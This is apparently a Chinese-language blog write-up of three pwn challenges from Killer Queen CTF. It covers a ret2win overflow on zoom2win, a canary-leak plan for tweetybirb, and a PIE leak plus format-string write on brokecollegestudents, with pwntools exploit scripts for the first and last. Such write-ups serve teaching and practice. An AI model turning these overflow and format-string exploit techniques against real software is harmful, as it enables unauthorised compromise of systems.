KILL QUEEN CTF

zoom2win

检查保护机制

[*] '/home/ubuntu16/Desktop/zoom2win'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

在ida里面看函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[32]; // [rsp+0h] [rbp-20h] BYREF

  puts("Let's not overcomplicate. Just zoom2win :)");
  return gets(v4, argv);
}

int flag()
{
  return system("cat flag.txt");
}

在ida里面看偏移,偏移为40

-0000000000000020 ; D/A/*   : change type (data/ascii/array)
-0000000000000020 ; N       : rename
-0000000000000020 ; U       : undefine
-0000000000000020 ; Use data definition commands to create local variables and function arguments.
-0000000000000020 ; Two special fields " r" and " s" represent return address and saved registers.
-0000000000000020 ; Frame size: 20; Saved regs: 8; Purge: 0
-0000000000000020 ;
-0000000000000020
-0000000000000020 var_20          db 32 dup(?)
+0000000000000000  s              db 8 dup(?)

如果这个时候用偏移+返回地址会发现不行,这时候要考虑栈是否对齐的问题,所以我们尝试用一个ret来对齐
exp:

from pwn import *
p = process("./zoom2win")
elf = ELF('zoom2win')

payload = 'A' * 40
payload += p64(0x004011dd)
payload += p64(elf.sym["flag"])

p.recvline()
p.sendline(payload)
p.interactive()
p.close()

tweetybird

checksec一下

[*] '/home/ubuntu16/Desktop/tweetybirb'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

这里有两个漏洞,一个是printf的格式化字符串漏洞,一个是栈溢出,那我们的思路就是:先靠格式化字符串漏洞泄露canary,然后用栈溢出来返回到后门函数
printf从右边到左边依次传参给寄存器,所以输入aaaa,测试一下canary的参数在哪个位置
gdb启动,然后b到main函数call printf的地址,r执行

00:0000│ rdi rsp  0x7fffffffde10 ◂— 'aaaaaaaa'
01:00080x7fffffffde18 —▸ 0x401200 (main+14) ◂— mov    eax, dword ptr [0x28]
02:00100x7fffffffde20 ◂— 0x2
03:00180x7fffffffde28 —▸ 0x40132d (__libc_csu_init+77) ◂— add    rbx, 1
04:00200x7fffffffde30 ◂— 0x0
...06:00300x7fffffffde40 —▸ 0x4012e0 (__libc_csu_init) ◂— endbr64 
07:00380x7fffffffde48 —▸ 0x4010f0 (_start) ◂— endbr64 
08:00400x7fffffffde50 —▸ 0x7fffffffdf40 ◂— 0x1
09:00480x7fffffffde58 ◂— 0x4353266fb8e99200
0a:0050│ rbp      0x7fffffffde60 —▸ 0x4012e0 (__libc_csu_init) ◂— endbr64 

canary在ebp之前,这其中间隔7个,然后再加上8个寄存器,canary就是第15个参数,%15 p 来 泄 露 , p来泄露,%p输出内容,15 p表示第15个参数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char format[72]; // [rsp+0h] [rbp-50h] BYREF
  unsigned __int64 v5; // [rsp+48h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  puts(
    "What are these errors the compiler is giving me about gets and printf? Whatever, I have this little tweety birb prot"
    "ectinig me so it's not like you hacker can do anything. Anyways, what do you think of magpies?");
  gets(format, argv);
  printf(format);
  puts("\nhmmm interesting. What about water fowl?");
  gets(format, argv);
  return 0;
}
int win()
{
  return system("cat /home/user/flag.txt");
}

有canary,那尝试泄露canary

broke student college

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

这里有PIE,只有最后三个字节不变那我们的思路就要泄露当前进程中的地址
执行一遍后,我们需要可写可读的权限去改money变量
有很多函数,只看有漏洞的地方
catch函数,只要我们得到了scholarship我们就可以改name,有个格式化字符串漏洞,我们就有任意读写的权限了

void catch(void)
{
  long in_FS_OFFSET;
  char fmtStringBug [24];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  puts("You caught a wild scholarship! These are rare.");
  puts("What is it\'s name?");
  printf("name: ");
  fflush(stdout);
  __isoc99_scanf(&DAT_00102349,fmtStringBug);
  puts(
      "Maybe now you\'ll be able to afford a single quarter of university! The scholarship you got was: \n"
      );
  printf(fmtStringBug);
  fflush(stdout);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
$ ./brokecollegestudents                                                                                                                                 
Welcome to the College Applications!
What would you like to do?
You have 5000 money.
===========================
1) Scholarship Application Portal
2) Collegeboard Website
3) Quit
===========================
Choice: 1
Welcome to the College Applications!
Would you like to delve into scholarship hunting?
It's only $500 and you have a one in a million chance of winning. What a steal!
===========================
You have 5000 money.
1) Yes ($500)
2) No
===========================
Choose: 1
You encountered some kind of wild application essay reader thing!
What do you want to do?

1) Apply!
2) Run away and follow your dreams of art school!
CHOOSE: 1
YOU GOT IT!
You caught a wild scholarship! These are rare.
What is it's name?
name: %23$016llx
Maybe now you'll be able to afford a single quarter of university! The scholarship you got was: 

0000556adb57992d

可以查看基址然后相减就得到偏移 6445
然后得到money的偏移为16412

$ ./brokecollegestudents                                                                                                                                 
Welcome to the College Applications!
What would you like to do?
You have 5000 money.
===========================
1) Scholarship Application Portal
2) Collegeboard Website
3) Quit
===========================
Choice: 1
Welcome to the College Applications!
Would you like to delve into scholarship hunting?
It's only $500 and you have a one in a million chance of winning. What a steal!
===========================
You have 5000 money.
1) Yes ($500)
2) No
===========================
Choose: 1
You encountered some kind of wild application essay reader thing!
What do you want to do?

1) Apply!
2) Run away and follow your dreams of art school!
CHOOSE: 1
YOU GOT IT!
You caught a wild scholarship! These are rare.
What is it's name?
name: %23$016llx
Maybe now you'll be able to afford a single quarter of university! The scholarship you got was: 

0000556adb57992d

from pwn import *

p = process('./brokecollegestudents')
elf = ELF('./brokecollegestudents')

ptrbaseoffset = 6445 # base is 6445 less than the leaked pointer
moneyoffset = 16412  # money offset is baseaddr+16412

# leak a pointer and calculate base address and money address
p.recvuntil('Choice: ')
p.sendline('1')
p.recvlines(8)
p.sendline('1')
p.recvuntil('CHOOSE: ')
p.sendline('1')
p.recvuntil('name: ')
p.sendline('%23$016llx')
p.recvlines(2)
leak = p.recvline().decode()[0:16]

base = int(leak,16)-6445
money = base+moneyoffset

log.info('leaked base address: %x' % base)
log.info('money location: %x' % money)

# write a bunch of money
# our fmt string is 6th on the stack
write = {money:10000000}
payload = fmtstr_payload(6,write)

p.recvuntil(b'Choice: ')
p.sendline(b'1')
p.recvlines(8)
p.sendline(b'1')
p.recvuntil(b'CHOOSE: ')
p.sendline(b'1')
p.recvuntil(b'name: ')
p.sendline(payload)
p.recvlines(3)
balance = p.recvline().decode().split()[2]
log.success("Money balance now: %s" % balance)
log.info("Now go on a shopping spree!!")
p.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值